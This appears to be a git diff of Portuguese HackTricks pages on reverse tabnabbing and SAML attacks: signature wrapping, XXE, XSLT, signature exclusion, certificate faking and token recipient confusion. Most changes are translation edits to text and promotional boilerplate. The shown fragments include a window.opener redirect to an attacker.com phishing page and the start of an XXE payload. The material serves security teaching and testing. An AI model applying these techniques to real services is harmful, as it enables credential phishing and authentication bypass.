Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||||
|
|
||||||
**Percepções de Hacking**\
|
**Percepções de Hacking**\
|
||||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
|
||||||
|
|
||||||
**Notícias de Hacking em Tempo Real**\
|
**Notícias de Hacking em Tempo Real**\
|
||||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
|
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||||
|
|
||||||
**Últimos Anúncios**\
|
**Últimos Anúncios**\
|
||||||
Fique informado com os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
Fique informado com os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||||
|
@ -138,14 +138,14 @@ Fique informado com os mais novos programas de recompensas por bugs lançados e
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks Especialista em Equipe Vermelha AWS)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Especialista em Equipe Vermelha AWS do HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,10 +4,10 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenha [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -18,7 +18,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
Em uma situação em que um **atacante** pode **controlar** o argumento **`href`** de uma tag **`<a`** com o atributo **`target="_blank" rel="opener"`** que será clicado por uma vítima, o **atacante** pode **apontar** este **link** para um site sob seu controle (um **site** **malicioso**). Então, uma vez que a **vítima clica** no link e acessa o site do atacante, este **site malicioso** será capaz de **controlar** a **página original** via o objeto javascript **`window.opener`**.\
|
Em uma situação em que um **atacante** pode **controlar** o argumento **`href`** de uma tag **`<a`** com o atributo **`target="_blank" rel="opener"`** que será clicado por uma vítima, o **atacante** pode **apontar** este **link** para um site sob seu controle (um **site** **malicioso**). Então, uma vez que a **vítima clica** no link e acessa o site do atacante, este **site malicioso** será capaz de **controlar** a **página original** via o objeto javascript **`window.opener`**.\
|
||||||
Se a página não tiver **`rel="opener"` mas contiver `target="_blank"` e também não tiver `rel="noopener"`** ela também pode ser vulnerável.
|
Se a página não tiver **`rel="opener"` mas contiver `target="_blank"` e também não tiver `rel="noopener"`** ela também pode ser vulnerável.
|
||||||
|
|
||||||
Uma maneira comum de abusar desse comportamento seria **alterar a localização do site original** via `window.opener.location = https://attacker.com/victim.html` para um site controlado pelo atacante que **pareça com o original**, para que possa **imitar** o **formulário de login** do site original e solicitar credenciais ao usuário.
|
Uma maneira comum de abusar desse comportamento seria **alterar a localização do site original** via `window.opener.location = https://attacker.com/victim.html` para um site controlado pelo atacante que **parece com o original**, para que possa **imitar** o **formulário de login** do site original e solicitar credenciais ao usuário.
|
||||||
|
|
||||||
No entanto, observe que como o **atacante agora pode controlar o objeto de janela do site original** ele pode abusar de outras maneiras para realizar **ataques mais furtivos** (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)
|
No entanto, observe que como o **atacante agora pode controlar o objeto de janela do site original** ele pode abusar de outras maneiras para realizar **ataques mais furtivos** (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)
|
||||||
|
|
||||||
|
@ -79,7 +79,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||||
|
|
||||||
## Propriedades acessíveis <a href="#accessible-properties" id="accessible-properties"></a>
|
## Propriedades acessíveis <a href="#accessible-properties" id="accessible-properties"></a>
|
||||||
|
|
||||||
No cenário em que ocorre um acesso **cross-origin** (acesso entre diferentes domínios), as propriedades da instância da classe JavaScript **window**, referenciadas pelo objeto JavaScript **opener**, que podem ser acessadas por um site malicioso são limitadas às seguintes:
|
No cenário em que ocorre um acesso **cross-origin** (acesso entre diferentes domínios), as propriedades da instância da classe JavaScript **window**, referenciadas pelo objeto JavaScript **opener**, que podem ser acessadas por um site malicioso estão limitadas às seguintes:
|
||||||
|
|
||||||
- **`opener.closed`**: Esta propriedade é acessada para determinar se uma janela foi fechada, retornando um valor booleano.
|
- **`opener.closed`**: Esta propriedade é acessada para determinar se uma janela foi fechada, retornando um valor booleano.
|
||||||
- **`opener.frames`**: Esta propriedade fornece acesso a todos os elementos iframe dentro da janela atual.
|
- **`opener.frames`**: Esta propriedade fornece acesso a todos os elementos iframe dentro da janela atual.
|
||||||
|
@ -106,12 +106,12 @@ As informações de prevenção estão documentadas na [HTML5 Cheat Sheet](https
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -11,7 +11,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -28,7 +28,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
## Viagem de ida e volta XML
|
## Viagem de ida e volta XML
|
||||||
|
|
||||||
No XML, a parte assinada do XML é salva na memória, em seguida, ocorre alguma codificação/decodificação e a assinatura é verificada. Idealmente, essa codificação/decodificação não deve alterar os dados, mas com base nesse cenário, **os dados verificados e os dados originais podem não ser os mesmos**.
|
No XML, a parte assinada do XML é salva na memória, em seguida, ocorre alguma codificação/decodificação e a assinatura é verificada. Idealmente, essa codificação/decodificação não deveria alterar os dados, mas com base nesse cenário, **os dados verificados e os dados originais podem não ser os mesmos**.
|
||||||
|
|
||||||
Por exemplo, verifique o seguinte código:
|
Por exemplo, verifique o seguinte código:
|
||||||
```ruby
|
```ruby
|
||||||
|
@ -67,7 +67,7 @@ Para mais informações sobre a vulnerabilidade e como abusá-la:
|
||||||
|
|
||||||
Nos **ataques de Envoltório de Assinatura XML (XSW)**, os adversários exploram uma vulnerabilidade que surge quando documentos XML são processados em duas fases distintas: **validação de assinatura** e **invocação de função**. Esses ataques envolvem a alteração da estrutura do documento XML. Especificamente, o atacante **injeta elementos forjados** que não comprometem a validade da Assinatura XML. Essa manipulação tem como objetivo criar uma discrepância entre os elementos analisados pela **lógica da aplicação** e aqueles verificados pelo **módulo de verificação de assinatura**. Como resultado, enquanto a Assinatura XML permanece tecnicamente válida e passa na verificação, a lógica da aplicação processa os **elementos fraudulentos**. Consequentemente, o atacante consegue contornar a **proteção de integridade** e **autenticação de origem** da Assinatura XML, permitindo a **injeção de conteúdo arbitrário** sem detecção.
|
Nos **ataques de Envoltório de Assinatura XML (XSW)**, os adversários exploram uma vulnerabilidade que surge quando documentos XML são processados em duas fases distintas: **validação de assinatura** e **invocação de função**. Esses ataques envolvem a alteração da estrutura do documento XML. Especificamente, o atacante **injeta elementos forjados** que não comprometem a validade da Assinatura XML. Essa manipulação tem como objetivo criar uma discrepância entre os elementos analisados pela **lógica da aplicação** e aqueles verificados pelo **módulo de verificação de assinatura**. Como resultado, enquanto a Assinatura XML permanece tecnicamente válida e passa na verificação, a lógica da aplicação processa os **elementos fraudulentos**. Consequentemente, o atacante consegue contornar a **proteção de integridade** e **autenticação de origem** da Assinatura XML, permitindo a **injeção de conteúdo arbitrário** sem detecção.
|
||||||
|
|
||||||
Os seguintes ataques são baseados em **[este post de blog](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) e [este artigo](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. Portanto, consulte-os para mais detalhes.
|
Os seguintes ataques são baseados neste **[post de blog](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)** e **[neste artigo](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. Portanto, consulte-os para mais detalhes.
|
||||||
|
|
||||||
### XSW #1
|
### XSW #1
|
||||||
- **Estratégia**: Um novo elemento raiz contendo a assinatura é adicionado.
|
- **Estratégia**: Um novo elemento raiz contendo a assinatura é adicionado.
|
||||||
|
@ -94,7 +94,7 @@ Os seguintes ataques são baseados em **[este post de blog](https://epi052.gitla
|
||||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../.gitbook/assets/image (541).png>)
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../.gitbook/assets/image (541).png>)
|
||||||
|
|
||||||
### XSW #5
|
### XSW #5
|
||||||
- **Aspecto Único**: Nem a Assinatura nem a Assertion original seguem configurações padrão (envolvente/envelopante/desconectada).
|
- **Aspecto Único**: Nem a Assinatura nem a Assertion original seguem configurações padrão (envolvente/envelopante/destacada).
|
||||||
- **Implicação**: A Assertion copiada envolve a Assinatura, modificando a estrutura do documento esperada.
|
- **Implicação**: A Assertion copiada envolve a Assinatura, modificando a estrutura do documento esperada.
|
||||||
|
|
||||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (542).png>)
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (542).png>)
|
||||||
|
@ -107,7 +107,7 @@ Os seguintes ataques são baseados em **[este post de blog](https://epi052.gitla
|
||||||
|
|
||||||
### XSW #7
|
### XSW #7
|
||||||
- **Estratégia**: Um elemento Extensions é inserido com a Assertion copiada como filho.
|
- **Estratégia**: Um elemento Extensions é inserido com a Assertion copiada como filho.
|
||||||
- **Implicação**: Isso explora o esquema menos restritivo do elemento Extensions para contornar contramedidas de validação de esquema, especialmente em bibliotecas como OpenSAML.
|
- **Implicação**: Isso explora o esquema menos restritivo do elemento Extensions para contornar contramedidas de validação de esquema, especialmente em bibliotecas como o OpenSAML.
|
||||||
|
|
||||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (544).png>)
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (544).png>)
|
||||||
|
|
||||||
|
@ -129,7 +129,7 @@ Se você não sabe que tipo de ataques são XXE, por favor, leia a seguinte pág
|
||||||
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
As Respostas SAML são **documentos XML comprimidos e codificados em base64** e podem ser suscetíveis a ataques de Entidade Externa XML (XXE). Ao manipular a estrutura XML da Resposta SAML, os atacantes podem tentar explorar vulnerabilidades de XXE. Veja como um ataque desse tipo pode ser visualizado:
|
As Respostas SAML são **documentos XML comprimidos e codificados em base64** e podem ser suscetíveis a ataques de Entidade Externa XML (XXE). Ao manipular a estrutura XML da Resposta SAML, os atacantes podem tentar explorar vulnerabilidades XXE. Veja como um ataque desse tipo pode ser visualizado:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE foo [
|
<!DOCTYPE foo [
|
||||||
|
@ -161,7 +161,7 @@ Para mais informações sobre XSLT, acesse:
|
||||||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
As Transformações de Linguagem de Folha de Estilo Extensível (XSLT) podem ser usadas para transformar documentos XML em vários formatos, como HTML, JSON ou PDF. É crucial observar que as **transformações XSLT são realizadas antes da verificação da assinatura digital**. Isso significa que um ataque pode ser bem-sucedido mesmo sem uma assinatura válida; uma assinatura autoassinada ou inválida é suficiente para prosseguir.
|
As Transformações de Linguagem de Estilo Extensível (XSLT) podem ser usadas para transformar documentos XML em vários formatos, como HTML, JSON ou PDF. É crucial observar que as **transformações XSLT são realizadas antes da verificação da assinatura digital**. Isso significa que um ataque pode ser bem-sucedido mesmo sem uma assinatura válida; uma assinatura autoassinada ou inválida é suficiente para prosseguir.
|
||||||
|
|
||||||
Aqui você pode encontrar um **POC** para verificar esse tipo de vulnerabilidades, na página hacktricks mencionada no início desta seção, você pode encontrar payloads.
|
Aqui você pode encontrar um **POC** para verificar esse tipo de vulnerabilidades, na página hacktricks mencionada no início desta seção, você pode encontrar payloads.
|
||||||
```xml
|
```xml
|
||||||
|
@ -191,7 +191,7 @@ Confira também esta palestra: [https://www.youtube.com/watch?v=WHn-6xHL7mI](htt
|
||||||
|
|
||||||
## Exclusão de Assinatura XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
## Exclusão de Assinatura XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||||
|
|
||||||
A **Exclusão de Assinatura XML** observa o comportamento das implementações SAML quando o elemento de Assinatura não está presente. Se este elemento estiver ausente, a **validação da assinatura pode não ocorrer**, tornando-a vulnerável. É possível testar isso alterando o conteúdo que geralmente é verificado pela assinatura.
|
A **Exclusão de Assinatura XML** observa o comportamento das implementações SAML quando o elemento de Assinatura não está presente. Se este elemento estiver ausente, a **validação da assinatura pode não ocorrer**, tornando-a vulnerável. É possível testar isso alterando o conteúdo que é normalmente verificado pela assinatura.
|
||||||
|
|
||||||
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (547).png>)
|
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (547).png>)
|
||||||
|
|
||||||
|
@ -203,7 +203,7 @@ Com as assinaturas removidas, permita que a solicitação prossiga para o alvo.
|
||||||
|
|
||||||
## Falsificação de Certificado <a href="#certificate-faking" id="certificate-faking"></a>
|
## Falsificação de Certificado <a href="#certificate-faking" id="certificate-faking"></a>
|
||||||
|
|
||||||
A Falsificação de Certificado é uma técnica para testar se um **Provedor de Serviços (SP) verifica corretamente se uma Mensagem SAML é assinada** por um Provedor de Identidade (IdP) confiável. Envolve o uso de um ***certificado autoassinado** para assinar a Resposta ou Declaração SAML, o que ajuda a avaliar o processo de validação de confiança entre SP e IdP.
|
A Falsificação de Certificado é uma técnica para testar se um **Provedor de Serviços (SP) verifica corretamente se uma Mensagem SAML é assinada** por um Provedor de Identidade (IdP) confiável. Envolve o uso de um **certificado autoassinado** para assinar a Resposta ou Declaração SAML, o que ajuda a avaliar o processo de validação de confiança entre SP e IdP.
|
||||||
|
|
||||||
### Como Realizar a Falsificação de Certificado
|
### Como Realizar a Falsificação de Certificado
|
||||||
Os seguintes passos descrevem o processo usando a extensão Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
|
Os seguintes passos descrevem o processo usando a extensão Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
|
||||||
|
@ -216,7 +216,6 @@ Os seguintes passos descrevem o processo usando a extensão Burp [SAML Raider](h
|
||||||
6. Assinar a mensagem ou declaração com o novo certificado usando o botão **`(Re-)Assinar Mensagem`** ou **`(Re-)Assinar Declaração`**, conforme apropriado.
|
6. Assinar a mensagem ou declaração com o novo certificado usando o botão **`(Re-)Assinar Mensagem`** ou **`(Re-)Assinar Declaração`**, conforme apropriado.
|
||||||
7. Encaminhar a mensagem assinada. A autenticação bem-sucedida indica que o SP aceita mensagens assinadas pelo seu certificado autoassinado, revelando potenciais vulnerabilidades no processo de validação das mensagens SAML.
|
7. Encaminhar a mensagem assinada. A autenticação bem-sucedida indica que o SP aceita mensagens assinadas pelo seu certificado autoassinado, revelando potenciais vulnerabilidades no processo de validação das mensagens SAML.
|
||||||
|
|
||||||
|
|
||||||
## Confusão de Destinatário de Token / Confusão de Destino do Provedor de Serviços <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
## Confusão de Destinatário de Token / Confusão de Destino do Provedor de Serviços <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||||
|
|
||||||
A Confusão de Destinatário de Token e a Confusão de Destino do Provedor de Serviços envolvem verificar se o **Provedor de Serviços valida corretamente o destinatário pretendido de uma resposta**. Em essência, um Provedor de Serviços deve rejeitar uma resposta de autenticação se ela foi destinada a um provedor diferente. O elemento crítico aqui é o campo **Destinatário**, encontrado dentro do elemento **SubjectConfirmationData** de uma Resposta SAML. Este campo especifica uma URL indicando para onde a Declaração deve ser enviada. Se o destinatário real não corresponder ao Provedor de Serviços pretendido, a Declaração deve ser considerada inválida.
|
A Confusão de Destinatário de Token e a Confusão de Destino do Provedor de Serviços envolvem verificar se o **Provedor de Serviços valida corretamente o destinatário pretendido de uma resposta**. Em essência, um Provedor de Serviços deve rejeitar uma resposta de autenticação se ela foi destinada a um provedor diferente. O elemento crítico aqui é o campo **Destinatário**, encontrado dentro do elemento **SubjectConfirmationData** de uma Resposta SAML. Este campo especifica uma URL indicando para onde a Declaração deve ser enviada. Se o destinatário real não corresponder ao Provedor de Serviços pretendido, a Declaração deve ser considerada inválida.
|
||||||
|
@ -225,7 +224,7 @@ A Confusão de Destinatário de Token e a Confusão de Destino do Provedor de Se
|
||||||
|
|
||||||
Para que um ataque de Confusão de Destinatário de Token SAML (SAML-TRC) seja viável, certas condições devem ser atendidas. Em primeiro lugar, deve haver uma conta válida em um Provedor de Serviços (referido como SP-Legit). Em segundo lugar, o Provedor de Serviços direcionado (SP-Target) deve aceitar tokens do mesmo Provedor de Identidade que atende ao SP-Legit.
|
Para que um ataque de Confusão de Destinatário de Token SAML (SAML-TRC) seja viável, certas condições devem ser atendidas. Em primeiro lugar, deve haver uma conta válida em um Provedor de Serviços (referido como SP-Legit). Em segundo lugar, o Provedor de Serviços direcionado (SP-Target) deve aceitar tokens do mesmo Provedor de Identidade que atende ao SP-Legit.
|
||||||
|
|
||||||
O processo de ataque é simples sob essas condições. Uma sessão autêntica é iniciada com o SP-Legit via o Provedor de Identidade compartilhado. A Resposta SAML do Provedor de Identidade para o SP-Legit é interceptada. Esta Resposta SAML interceptada, originalmente destinada ao SP-Legit, é então redirecionada para o SP-Target. O sucesso neste ataque é medido pelo SP-Target aceitando a Declaração, concedendo acesso a recursos sob o mesmo nome de conta usado para o SP-Legit.
|
O processo de ataque é simples sob essas condições. Uma sessão autêntica é iniciada com o SP-Legit por meio do Provedor de Identidade compartilhado. A Resposta SAML do Provedor de Identidade para o SP-Legit é interceptada. Esta Resposta SAML interceptada, originalmente destinada ao SP-Legit, é então redirecionada para o SP-Target. O sucesso neste ataque é medido pelo SP-Target aceitando a Declaração, concedendo acesso a recursos sob o mesmo nome de conta usado para o SP-Legit.
|
||||||
```python
|
```python
|
||||||
# Example to simulate interception and redirection of SAML Response
|
# Example to simulate interception and redirection of SAML Response
|
||||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||||
|
@ -298,7 +297,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,19 +7,19 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
